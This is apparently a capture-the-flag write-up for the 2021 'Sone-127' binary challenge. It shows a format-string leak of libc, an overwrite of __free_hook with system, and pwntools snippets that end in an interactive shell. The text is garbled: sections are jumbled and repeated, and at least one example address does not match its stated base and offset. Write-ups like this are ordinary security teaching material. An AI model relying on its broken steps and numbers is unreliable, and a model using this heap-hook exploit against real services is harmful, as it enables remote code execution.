Sone-127 | 2021

ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=a1b2c3d4e5f6..., stripped PIE: No, RELRO: Partial, Stack: Canary found, NX: Enabled, PIE: No, RPATH: [] 3.1 Interaction > help Commands: echo <msg> - Echoes back the message calc <expr> - Evaluates a simple arithmetic expression upload <filename> - Upload a file to the server download <filename> - Download a file from the server exit - Quit The only interesting command is echo . Sending a long string revealed an unintended format‑string :

libc_start_main_ret = 0x7f5c1a2b2e30 offset_start_main_ret = 0x21b10 # from libc-2.31.so libc_base = libc_start_main_ret - offset_start_main_ret Running the script yields libc_base = 0x7f5c19000000 (example; actual value varies per instance). From the known libc-2.31.so (downloaded from the official Ubuntu repository): SONE-127 2021

# 2️⃣ Overwrite __free_hook with system write_free_hook(io, libc_base) ELF 64-bit LSB executable, x86-64, version 1 (SYSV),

# 3️⃣ Get a shell get_shell(io)

| Symbol | Offset (hex) | Address (example) | |-----------------|--------------|-------------------| | system | 0x4f550 | 0x7f5c190f550 | | __free_hook | 0x3ed8e8 | 0x7f5c193ed8e8 | | /bin/sh string| 0x1b75aa | 0x7f5c191b75aa | Use pwntools : libc = ELF('libc-2.31.so') system_addr = libc.symbols['system'] + libc_base free_hook = libc.symbols['__free_hook'] + libc_base binsh = next(libc.search(b'/bin/sh')) + libc_base 5.3 Write system into __free_hook The binary uses malloc / free internally for the upload / download commands. By uploading a large payload we can control a heap chunk and then use the format‑string write to place the system address at __free_hook . By uploading a large payload we can control

# Trigger free -> system io.sendlineafter(b'> ', b'download sh.txt') io.interactive()

printf(user_input); Using objdump -d sone127d | grep -i printf :